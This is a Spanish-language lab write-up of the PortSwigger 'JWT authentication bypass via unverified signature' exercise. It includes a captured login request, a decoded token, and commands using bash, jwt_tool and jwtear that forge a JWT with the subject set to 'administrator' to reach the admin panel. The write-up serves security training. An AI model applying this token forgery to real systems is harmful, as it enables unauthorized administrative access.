← Writeups

JWT authentication bypass via unverified signature

This lab uses a JWT-based mechanism for handling sessions. Due to implementation flaws, the server doesn't verify the signature of any JWTs that it receives.

To solve the lab, modify your session token to gain access to the admin panel at /admin, then delete the user carlos.

You can log in to your own account using the following credentials: wiener:peter Tip


https://medium.com/infosecmatrix/22-1-lab-jwt-authentication-bypass-via-unverified-signature-2023-4401628467d9

  • Error en el manejo de sesiones "session handling" ; debido a fallas en la implementacion, el servidor backend no verifica la signature o firma de los Json Web Tokens (JWTs) que recibe, por lo tanto, en primer lugar utiliza una herramienta que te permita decodificar el jwt y editarlo. En segundo lugar, consulta la ruta protegida /admin con el metodo HTTP GET.
  • En burp hay una extension llamada 'jwt-editor'

Al realizar un POST utilizando la interfaz web del navegador e interceptando burpsuite

POST /login HTTP/2
Host: 0a0300dd036c50ef81dc7522005e000c.web-security-academy.net
Cookie: session=
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Origin: https://0a0300dd036c50ef81dc7522005e000c.web-security-academy.net
Referer: https://0a0300dd036c50ef81dc7522005e000c.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-Pwnfox-Color: cyan
Priority: u=0, i
Te: trailers

csrf=I8XmCpCf0CpQBEX8xOmm67StPI6Q2iFE&username=wiener&password=peter

Respuesta: La respuesta entrega la cabecera o header Set-Cookie con un valor JWT para el valor session

Set-Cookie: session=eyJraWQiOiI0M2FiODI4OS0wMTY4LTRiOWUtOWYyZC03ZTRkYmIyNjYyN2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc1NzE5NDI1NSwic3ViIjoid2llbmVyIn0.IO2E5wiUjsPnkOiWfH-1SQ6LqJx8lUCsxaSjRdti1cT7T3uqv-TIynm2En7sMTi624vUZfdfGROWp_8YYWwRtsawE7q1vcpW4uzrJyUscrqjCRyumTdBd0FiIw5aeV-q28FTosVkEE-G9pF-MMos-Scitg7zMbasEtw6Ax1ExgoiAEBNEqdeMpNaiQtEa7LpRqAYtgDd4sN1Ypt1Y3h-l49SKaLEaZqXpBeA49h_vJE9VFER0olJVgcyigTZTvtohNau3qotNcXaUNenFeTAzSFZpNWoVZ-2EPpr2S2ljR9EeEh7diz8cQVh1EaTtU6LCrsNxm_C4eIxuHYyFVvD4g; 

Al decodificar el JWT podemos conocer su estructura: Utilizando https://token.dev/

Header:

{
  "kid": "43ab8289-0168-4b9e-9f2d-7e4dbb26627b",
  "alg": "RS256"
}

Payload:

{
  "iss": "portswigger",
  "exp": 1757194255,
  "sub": "wiener"
}

el "claim" llamado "sub" contiene tu usuario.

El objetivo es poder realizar en primera instancia un GET hacia la ruta /admin para luego conocer que solicitud POST realizar, al realizar la consulta GET, nos damos cuenta que es una ruta protegida.

Hay 3 formas de resolver el ejercicio:

Utilizando el payload en una linea y modificando el atributo sub por el valor administrator, seguidamente utilizar pipe y base64 para codificarlo. Esta alternativa utiliza unicamente bash

echo '{"iss":"portswigger","exp":1717440541,"sub":"administrator"}' | base64

Tambien se puede lograr mas rapido con la extension JWT-Editor en BApp Store de Burpsuite.

https://books.spartan-cybersec.com/web/jwt/lab-1-jwt-authentication-bypass-via-unverified-signature Utilizar la herramienta https://github.com/ticarpi/jwt_tool escrita en python para decodificar y luego el parametro -T para realizar tampering sobre el jwt en el campo sub

python3 jwt_tool.py eyJraWQiOiI3NDEyN2M1Yi0xOWVhLTQyMDYtYTg3MC1lNGIwYWUyNTI2M2EiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcxNzQ0OTE2OCwic3ViIjoid2llbmVyIn0.ryItspWLrfVS4L2_4vqtUxUlK1FOmXnLmcDfLeJyHAfnt5eUM_fzNPf4SWIvtSnxO9ODy-00oQRsSN0ySHx8HUN3S5Y5VEReiCyIC0GB7NrTTwvki1VDKuDFimwCaKCVXjbBSGf32J7EFkw5cvOaygwB7mVxpv7hQcipMHGWcmXMRZPCRLyxvKkpV-8lQzdLZ19RQqYhsxSMksfyp4kXxOp8cBf5WUOR_jk3QV3qDeg0pQO-2TTXnhdTulq74cvGUF9tAEKxPEHscixXYXDv_zR6h3GA1Z-CJ_bqeMuZfms3RA9B1FQ3YnFWcVOeb2s1aSeHc8Bxjo2WwxkVm3Edzw
python3 jwt_tool.py eyJraWQiOiI3NDEyN2M1Yi0xOWVhLTQyMDYtYTg3MC1lNGIwYWUyNTI2M2EiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcxNzQ0OTE2OCwic3ViIjoid2llbmVyIn0.ryItspWLrfVS4L2_4vqtUxUlK1FOmXnLmcDfLeJyHAfnt5eUM_fzNPf4SWIvtSnxO9ODy-00oQRsSN0ySHx8HUN3S5Y5VEReiCyIC0GB7NrTTwvki1VDKuDFimwCaKCVXjbBSGf32J7EFkw5cvOaygwB7mVxpv7hQcipMHGWcmXMRZPCRLyxvKkpV-8lQzdLZ19RQqYhsxSMksfyp4kXxOp8cBf5WUOR_jk3QV3qDeg0pQO-2TTXnhdTulq74cvGUF9tAEKxPEHscixXYXDv_zR6h3GA1Z-CJ_bqeMuZfms3RA9B1FQ3YnFWcVOeb2s1aSeHc8Bxjo2WwxkVm3Edzw -T

https://deephacking.tech/jwt-authentication-bypass-via-unverified-signature-portswigger-write-up/ Hay otra opcion utilizando unicamente el browser con la extension cookie editor o directamente en dev tools inspeccionando el storage o almacenamiento de cookies. Utilizando esta opcion tienes que combinarla con las demas en cuanto a modificar el jwt se refiere, es decir puedes utilizar jwtear, jwt_tool, etc.

Otra herramienta escrita en Ruby es https://github.com/KINGSABRI/jwtear realiza lo mismo que la herramienta escrita en Python.

  • en header se puede asignar alg con el valor None, pero como la implementacion no realiza una verificacion de signature o firma, se podria dejar con el algoritmo predeterminado y firmarlo con cualquier clave. Lo normal es que si dejas el algoritmo, te pedira una clave para firmar el token
jwtear jws -h <header> -p <payload con el campo modificado>

Lo que hemos aprendido, repasado:

  • JWT
    • header
    • payload
    • signature
  • JWS signature
  • JWE encryption